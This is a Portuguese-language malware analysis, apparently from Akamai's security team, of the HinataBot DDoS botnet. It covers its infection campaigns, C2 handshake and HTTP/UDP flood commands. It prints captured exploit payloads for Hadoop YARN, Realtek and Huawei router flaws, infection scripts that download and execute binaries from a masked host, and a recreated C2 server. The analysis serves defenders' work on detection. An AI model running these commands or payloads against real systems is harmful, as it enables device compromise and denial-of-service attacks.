Descobrindo o HinataBot: análise aprofundada de uma ameaça baseada em Go
Contribuições editoriais e adicionais por Tricia Howard
Resumo executivo
Os pesquisadores da Akamai na SIRT (Security Intelligence Response Team, equipe de resposta de inteligência de segurança) descobriram uma nova botnet focada em DDoS e baseada em Go. O malware parece ter sido nomeado “Hinata” pelo seu autor, em homenagem a um personagem da popular série de anime Naruto. Estamos o chamando de “HinataBot”.
O HinataBot foi distribuído durante os primeiros três meses de 2023 e está sendo atualizado ativamente pelos autores/operadores.
A amostra foi descoberta em honeypots HTTP e SSH abusando de vulnerabilidades antigas e credenciais fracas.
As tentativas de infecção observadas incluem a exploração do serviço miniigd SOAP em dispositivos Realtek SDK (CVE-2014-8361), roteadores Huawei HG532 (CVE-2017-17215) e servidores Hadoop YARN expostos (CVE N/A).
Por meio de uma combinação de engenharia reversa do malware e imitação do servidor de comando e controle (C2), pudemos obter uma visão profunda de como o malware funciona e o que há de único no tráfego de ataque resultante.
Conheça o HinataBot
O HinataBot é um malware baseado em Go encontrado recentemente pelos pesquisadores de segurança da SIRT da Akamai em honeypots HTTP e SSH. Essa amostra em particular se destacou devido ao seu grande tamanho e à falta de identificação específica em torno de seus hashes mais recentes. Os binários do malware parecem ter sido nomeados pelo autor do malware em homenagem a um personagem da popular série de anime Naruto, com estruturas de nome de arquivo como “Hinata-<OS>-<Architecture>”.
O HinataBot é o mais novo na lista cada vez maior de ameaças emergentes baseadas em Go, que inclui botnets como GoBruteForcer e, o recentemente descoberto (pela SIRT), kmsdbot. O Go tem sido explorado por invasores para colher os benefícios de seu alto desempenho, facilidade de multithreading, arquitetura múltipla e suporte de compilação cruzada de sistema operacional, mas também provavelmente porque adiciona complexidade quando compilado, aumentando a dificuldade de engenharia reversa dos binários resultante.
O HinataBot emprega vários métodos de comunicação, incluindo discagem e escuta de conexões de entrada, e foi observado com ataques DDoS (negação de serviço distribuída) que utilizam protocolos como HTTP, UDP, TCP e ICMP para enviar tráfego. No entanto, na versão mais recente, o HinataBot reduziu seus métodos de ataque apenas para ataques HTTP e UDP.
Campanhas de infecção do HinataBot
Os métodos de distribuição observados foram uma mistura de scripts de infecção e cargas úteis completas usando duas vulnerabilidades principais: um Hadoop YARN RCE (Figura 1) e a exploração de uma vulnerabilidade no serviço miniigd SOAP nos dispositivos Realtek SDK (CVE-2014-8361,; Figura 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Fig. 1: Distribuição de carga útil por meio de um Hadoop YARN RCE
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Fig. 2: Distribuição de carga útil por meio de CVE-2014-8361
Esses ataques ocorreram em vários dias entre 11 e 16 de janeiro de 2023. Os invasores usaram várias versões de scripts de infecção, que foram atualizados ao longo do tempo. Entre esses scripts, os dois principais foram denominados “wget.sh” (Figura 3) e “tftp.sh” (Figura 4), refletindo os respectivos protocolos usados para buscar a carga útil apropriada.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 3: Script de infecção wget.sh usando wget para baixar a carga útil
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 4: Script de infecção tftp.sh usando ftp para baixar a carga útil
Nos honeypots SSH, os invasores empregaram táticas de força bruta, tentando combinações comuns de nome de usuário e senha. Assim que logados com sucesso, os invasores abriram um shell e executaram as ações da Figura 5.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Fig. 5: Script de shell tentando baixar a carga útil em honeypots Cowrie
O malware HinataBot foi distribuído como binários Go, projetados para executar em várias arquiteturas e sistemas operacionais. Essa tendência de autores de malware desenvolvendo cargas úteis especializadas para várias plataformas tornou-se cada vez mais comum nos últimos anos (Figura 6), provavelmente devido à facilidade de compilação cruzada, à IoT (Internet das coisas) e aos dispositivos de escritórios/escritórios em casa pequenos executando arquiteturas de CPU menos comuns, que demonstram ser um cenário repleto de alvos.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Fig. 6: Cargas úteis nas várias combinações de SO e arquitetura
Ao utilizar o IP de distribuição como pivô, conseguimos identificar dois IPs adicionais que eram usados anteriormente para distribuição. Em cada caso, o IP pivô foi usado como proxy. Uma análise mais aprofundada revelou que, antes de desenvolver seu próprio malware baseado em Go, os invasores tentaram distribuir uma variante genérica do Mirai que foi compactada com UPX e usou um nome menos identificável (Figura 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Fig. 7: Vários scripts de infecção e binário genérico Mirai
As primeiras tentativas de distribuição do malware ocorreram em dezembro de 2022 e usaram scripts de infecção muito diferentes (Figura 8). Esses scripts anteriores podem ter sido um teste inicial executado pelos autores para avaliar a eficácia de suas táticas e ferramentas.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Fig. 8: Scripts de infecção legados
Além disso, conseguimos identificar outra vulnerabilidade que os invasores abusaram para distribuir versões anteriores de seus scripts de infecção (Figura 9). Essa vulnerabilidade, CVE-2017-17215,, afeta os roteadores Huawei HG532 e permite a execução arbitrária de código remoto.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 9: Uso do CVE-2017-17215 para infectar roteadores Huawei HG532
Os agentes de ameaças por trás do HinataBot estão ativos desde dezembro de 2022, pelo menos, mas só começaram a desenvolver seu próprio malware em meados de janeiro de 2023. Desde então, observamos várias iterações do malware e várias mudanças nas técnicas de infecção. O IP primário utilizado para distribuição e conexões de comando e controle (C2) tem um histórico de participação na distribuição de spam e malware. Ainda não está totalmente claro se o IP é mal-intencionado ou se está apenas comprometido e sendo abusado.
Influências do Mirai
Como afirmado anteriormente, os agentes por trás do HinataBot originalmente distribuíam binários Mirai, uma família de malware bem conhecida que começou visando dispositivos IoT, era de código aberto e continuou a ser adotada por vários agentes e grupos (e evoluiu como resultado). O Mirai agora responde por várias variantes e botnets criadas por diversos autores, agentes e grupos.
Ao observar os registros DNS (Sistema de Nomes de Domínio) históricos, podemos ver que, em fevereiro de 2023, o último IP associado ao HinataBot estava resolvendo para o domínio “hihi.mirailovers.pw” (Figura 10).
Houve inúmeras tentativas públicas de reescrever o Mirai em Go, e o HinataBot parece seguir uma estrutura semelhante a algumas dessas tentativas. Por exemplo, a forma como o HinataBot configura a comunicação em seu método principal e a forma como analisa comandos e inicia ataques em seus métodos de ataque se assemelham à estrutura usada em outras variantes do Mirai baseadas em Go.
Vale ressaltar que o HinataBot ainda está em fase de desenvolvimento e evolução. Portanto, é difícil prever como o malware mudará e como será daqui para frente.
A primeira análise
Inicialmente, tentamos acessar o IP de distribuição mais recente, mas, embora fosse possível fazer ping, não conseguimos baixar a amostra diretamente do servidor. Isso pode indicar que os invasores implementaram um mecanismo de proteção ou que removeram as amostras após a distribuição, tornando mais difícil obtê-las fora de um ataque direto. Em campanhas mais antigas dos mesmos agentes, observamos padrões de nomes aparentemente aleatórios (consulte a Figura 9).
Felizmente, conseguimos obter uma amostra por meio de nossas ferramentas de análise automatizadas que armazenaram uma no momento da infecção inicial. Baixamos as versões MIPS32 e x86-64 de nosso repositório de malware e iniciamos a análise estática. Ambos os binários foram escritos em Go, mas eram relativamente fáceis de trabalhar, pois não estavam corrompidos e compactados (Figura 11). As versões dos binários nos dias anteriores a esta publicação foram removidas, o que tornará a reversão mais desafiadora no futuro.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Fig. 11: Executando o comando “file” no Hinata
Inicialmente, começamos a analisar uma amostra do malware HinataBot de dois meses (Figura 12), mas depois tomamos conhecimento de uma amostra mais recente (Figura 13) que foi lançada no mesmo dia em que descobrimos o malware em nossos logs. Em seguida, passamos a analisar a amostra mais recente.
A principal distinção entre as duas versões é que a amostra mais recente foi simplificada e apresenta mais funcionalidade modular. Além disso, ela inclui algumas medidas básicas de segurança que não estavam presentes na versão original. Abordaremos essas diferenças com mais detalhes em uma seção posterior desta publicação.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Fig. 12: Amostra do HinataBot de janeiro de 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Fig. 13: Amostra do HinataBot de março de 2023
Durante nossa análise, várias funções se destacaram de imediato como dignas de nota. Três funções de ataque distintas chamaram nossa atenção imediatamente: sym.main.startAttack, sym.main.http_floode sym.main.udp_flood (Figura 14). A nomenclatura dessas funções sugere que o malware pretendia lançar ataques DDoS.
Uma análise mais aprofundada do malware revelou referências às comunicações com o C2, que forneceram dicas adicionais de que o HinataBot fazia parte de uma campanha de criação de botnet orientada para DDoS (Figura 15).
Mapeando as comunicações com o C2
Para entender como o malware HinataBot estabelece uma conexão com seu C2, trabalhamos de trás para frente a partir da string "Connection to CNC is OK!" e começamos a procurar referências cruzadas para a string (Figura 16). Esse processo nos permitiu mapear o mecanismo pelo qual o malware se comunica com seu C2.
Nossa investigação acabou nos levando ao servidor C2 do HinataBot escutando em TCP/1420 no mesmo IP do qual o malware foi distribuído durante a campanha de infecção (Figura 17).
Outra descoberta ao examinar o código de montagem foram as referências a uma API usada para conexões (“API_CONNECTION_ATTACK”), além de vários comandos possíveis para emitir de volta ao dispositivo infectado que estávamos ansiosos para experimentar (Figura 18).
Nesse ponto, estávamos confiantes de que a amostra que tínhamos se conectaria novamente ao servidor de distribuição/C2 para notificar o C2 de que o bot estava funcionando e aguardar os comandos, mas o servidor C2 agora estava offline.
Uma observação interessante é que o HinataBot também abre uma porta de escuta própria no TCP/61420 (Figura 19). Como o objetivo principal desta pesquisa era entender melhor o tráfego de ataque que essa botnet pode gerar, não perdemos muito tempo investigando esse recurso, pois parecia fora do escopo.
No entanto, observamos que as diferenças de tempo desse ouvinte dependem da conectividade bem-sucedida com o C2. Nos casos em que um C2 é contatado com sucesso, esse ouvinte morre após três minutos. Nos casos em que o C2 não pode ser alcançado, esta porta permanece escutando sem limite de tempo aparente. Pesquisas adicionais precisarão ser realizadas nesta porta para entender completamente quais recursos ela oferece aos operadores. Por exemplo, se é algum tipo de funcionalidade ponto a ponto ou possivelmente um recurso de atualização/controle/recuperação. Não podemos fornecer uma resposta definitiva no momento da redação deste artigo.
Conversando com o HinataBot
Na próxima fase de nossa investigação, infectamos deliberadamente várias máquinas e criamos um servidor C2 para analisar as interações, medidas de segurança e padrões de tráfego do HinataBot. Abordaremos brevemente alguns dos processos e observações feitas durante a reversão do HinataBot.
HINATA_START_NICE
Conforme observado anteriormente, a amostra mais recente do HinataBot incluía algumas medidas básicas de segurança que estavam ausentes nas versões anteriores. A primeira dessas medidas foi um requerimento de senha. Ao executar a amostra, a primeira observação é uma exceção não capturada. A mensagem de erro resultante deixa isso bem claro (Figura 20).
Após um exame mais detalhado da mensagem de erro, descobrimos que a amostra exigia a transmissão de um argumento adicional na execução. Embora passar literalmente qualquer coisa para esse argumento faça com que você supere a exceção não capturada, o HinataBot sairá normalmente. A partir daqui, ficou óbvio que precisávamos voltar à desmontagem para ver o que o HinataBot poderia estar procurando neste argumento.
Pesquisamos a amostra do malware e, por fim, identificamos o string de 17 caracteres (0x005fe3d2) "HINATA_START_NICE" (0x005fe3d8) usado em uma chamada sym.runtime.memequal (0x005fe3e0) que falharia e faria com que o malware fluísse para uma instrução ret, interrompendo a execução (Figura 21). Usamos essa string como um argumento ao executar a amostra, o que permitiu que a execução progredisse para um código mais interessante.
Curiosamente, o personagem do anime Naruto chamado Hinata começa como um personagem pacífico e gentil antes de se tornar um lutador feroz, algo que os autores do malware podem estar aludindo ao usar o argumento "HINATA_START_NICE", antes que o malware comunique de volta ao seu C2 e participe do lançamento de ataques.
Vale a pena notar que esse requerimento de senha não estava presente nas amostras do malware HinataBot mais antigas de janeiro de 2023; portanto, a maioria dos scripts de infecção que encontramos não incluíam esse argumento. No entanto, em uma análise mais detalhada após descobrirmos esse requerimento, conseguimos rastrear os scripts de infecção mais recentes (Figura 22), que passaram o argumento para os binários no momento da infecção. Teria sido útil saber disso antecipadamente.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Fig. 22: Novo script de infecção usando a senha
Go.123+Strings-456.Are_789-Weird
Nossa análise da amostra do HinataBot revelou um grande número de strings de texto simples muito longas incorporadas ao binário. O Go utiliza uma abordagem única para armazenar strings literais, colocando-as em um bloco contíguo de memória conhecido como "string table" ou "string intern pool."
Como resultado, ao executar o comando ou desmontadores de strings em um binário Go, a saída pode aparecer como uma mistura confusa de caracteres, dificultando a distinção entre strings individuais na tabela (Figura 23).
Essa técnica difere de outras linguagens de programação, que normalmente armazenam strings de bytes terminadas em nulo. Sem esses bytes nulos à direita, as ferramentas continuam lendo uma string descoberta até encontrar um byte nulo. Isso torna uma análise simples de strings um pouco mais desafiadora.
Observar as referências cruzadas dos segmentos de código nos segmentos de endereço da tabela de strings pode ajudar a identificar onde começam as strings individuais na tabela maior. Normalmente, também é possível identificar seu comprimento sendo carregado em um registro antes ou depois que a string é carregada ou como parte de uma chamada de função que utilizará a parte de string sendo referenciada (Figura 24). Leva algum tempo para se acostumar, mas é bastante simples quando você se sente confortável com a convenção.
Fale comigo, Goose
Com uma maneira de satisfazer o requerimento de senha em vigor, nossa atenção voltou-se para estabelecer uma conexão com o servidor C2. Da mesma forma que descobrimos a senha, conseguimos identificar os componentes necessários do protocolo de handshake necessário para estabelecer uma conexão com o servidor C2, que estava inoperante no momento desta pesquisa/redação.
Usando netcat para escutar na porta 1420, corrigimos o binário para usar um IP que controlamos como o servidor C2. Uma vez conectado, enviamos os gatilhos apropriados para o dispositivo infectado, preparando-o para a participação no ataque (Figura 25).
O handshake consistia em uma conexão inicial, seguida pelo bot enviando uma mensagem “API_CONNECTION_BOT [os]/[architecture] [hostname]”. O bot espera uma mensagem API_CONNECTION_SIGNAL_OK de volta do servidor C2, que prepararia o bot para ouvir os comandos recebidos (Figura 26). Com o handshake fora do caminho, enviamos o sinal API_CONNECTION_ATTACK: para iniciar os ataques.
Criamos um servidor C2 muito simples para automatizar a manutenção desta conexão e nos permitir modificar e enviar um comando armazenado em um arquivo de texto sem a necessidade de modificar o código, o que permitiu testes muito fáceis e rápidos (Figura 27). Isso nos poupou bastante tempo ao longo desta pesquisa.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Fig. 27: C2 recriado para manter a conexão com o nó infectado
Embora essas interações com o HinataBot fossem bastante interessantes, nosso objetivo final sempre foi observar o malware em ação e ver como era o tráfego de ataque na rede quando direcionado aos sistemas visados. Com as comunicações básicas com o C2 configuradas, começamos a nos aprofundar no comando de ataque, processando a lógica e mapeando as estruturas de comando de ataque.
O HinataBot para de ser legal
A versão mais recente desse malware tem dois métodos de ataque principais: HTTP e UDP. A versão mais antiga continha esses dois, bem como métodos de ataque aproveitando inundações de ICMP e TCP. Não está claro por que esses métodos foram removidos.
Para ver mais de perto o tráfego de ataque real, usamos nosso servidor C2 improvisado para manter a conexão enquanto o bot nos enviava pulsações. Dessa forma, poderíamos nos concentrar apenas nos comandos de ataque e não ter que nos preocupar em manter uma conexão com o dispositivo infectado.
Após análises e testes extensos, finalmente conseguimos mapear a estrutura e os campos necessários para iniciar os ataques e capturar os pacotes na rede. O autor do malware utiliza várias convenções do Go, como funções anônimas, goroutines, canais, pools de trabalhadores e grupos de espera, tornando a reversão um pouco mais complicada. Após alguns testes, finalmente descobrimos a estrutura do comando de ataque (Figura 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Fig. 28: Estrutura do comando de ataque
A estrutura de comando básica, uma vez mapeada, é muito direta. Comandos de ataque sempre começam com API_CONNECTION_ATTACK: seguido por três campos obrigatórios ATTACK_TYPE, TARGETe DURATION. Para o udp_flood há um quarto campo de ataque, UDP_OPTIONS. Esse campo também é necessário ao emitir um ataque udp_flood por causa de como ocorre a verificação de comandos, mas, estranhamente, não precisa ser válido.
Tipo de ataque 0: http_flood
O protocolo http_flood utilizar parâmetros de opções adicionais como o ataque udp_flood . Como depende da biblioteca nativa net.http do Go, a maior parte da configuração e análise de opções para este ataque vem diretamente da própria biblioteca do Go e é controlada por meio da diretiva TARGET .
No comando de ataque na Figura 29, estamos emitindo um ataque http_flood (tipo 0) direcionado para 127127127127 no TCP/31337 que durará 10 segundos. O caminho, a porta, os parâmetros GET e o protocolo são todos deduzidos dessa diretiva target (destino). Se nenhuma porta for fornecida, o padrão será TCP/80.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Fig. 29: Estrutura de comando de ataque para um ataque http_flood
Como mencionado anteriormente, este binário se apoia na própria biblioteca do Go net.http nativa para conduzir seus ataques. O bot cria um grupo de 512 trabalhadores por meio de Goroutines, e cada trabalhador cria seu próprio objeto net.http.Request . Na Figura 30, podemos ver um pouco de como isso funciona dentro de um trabalhador individual.
Primeiro, um novo objeto Context e uma nova classe RequestWithContext são criados. Essa Context será preenchido com cabeçalhos HTTP que serão usados durante o ataque pela classe RequestWithContext . Alguns desses cabeçalhos são estáticos, enquanto outros são aleatórios. Na Figura 30 você pode ver as chamadas Rand Seed e Intn . Elas são usadas para selecionar um User-Agent aleatório de uma lista de 10 agentes de usuário estáticos codificados no binário. Falaremos sobre quais cabeçalhos procurar abaixo enquanto analisamos o tráfego que sai do malware durante um ataque http_flood .
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Fig. 31: Três solicitações de ataques de amostra http_flood
Vamos abordar algumas observações importantes dos cabeçalhos HTTP capturados durante eventos de ataque simulados. Existem vários valores bastante óbvios aqui para impressões digitais, tanto em campos estáticos quanto aleatórios. Os defensores devem examinar esse tráfego de amostra, mas, por medo de ajudar o autor a melhorar os recursos de ataque, hesitamos em destacar exatamente por que esse tráfego provavelmente é fácil de detectar e bloquear para os defensores. Sem fornecer muita ajuda ao autor do malware, podemos dizer que grande parte da carga útil é bastante estática, em tamanho, ordem e valor. Alguns campos são aleatórios. Esses campos incluem cabeçalhos User-Agent (de uma lista de 10 agentes de usuário estáticos), Keep-Alive e Cookies. Os defensores também devem olhar atentamente para os cabeçalhos Host e Referrer no tráfego de amostra na Figura 31. Vale a pena notar que, se o comando de ataque não especificar uma porta de destino na diretiva target, o padrão será TCP/80 ou TCP/443, e a porta não será incluída em nenhum dos cabeçalhos.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Fig. 32: Estrutura de comando de ataque para um ataque http_flood mais configurado
Também vale apontar que como o net.http.Client do Go é usado, a configuração desse tipo de ataque é feita por meio da diretiva target e suportará qualquer ação que a biblioteca (completa e muito capaz) faça. Isso inclui HTTPS, redirecionamento seguinte, resolução de domínio, cabeçalhos de autenticação HTTP, etc. No comando de ataque na Figura 32, o movimento para https:// faz com que a biblioteca incorporada utilize TLS, porta de destino 443 e, como incluímos o user:pass@ na diretiva target, o tráfego também incluirá um cabeçalho Authorization: Basic dXNlcjpwYXNz também.
No momento em que este artigo foi escrito, parece que o método de solicitações de ataque é codificado e, portanto, limitado a solicitações HTTP GET.
Tipo de ataque 1: udp_flood
O protocolo udp_flood requer que todos os campos sejam descritos anteriormente, mesmo que a opção fornecida não exista (Figura 33). Nas análises e testes, conseguimos identificar um único campo de opção, que é usado para controlar a porta visada. Se nenhuma opção for passada, o binário falhará ao analisar o comando de ataque; em alguns casos, os valores passados por meio desse campo até travam o bot.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Fig. 33: Estrutura de comando de ataque para um ataque udp_flood
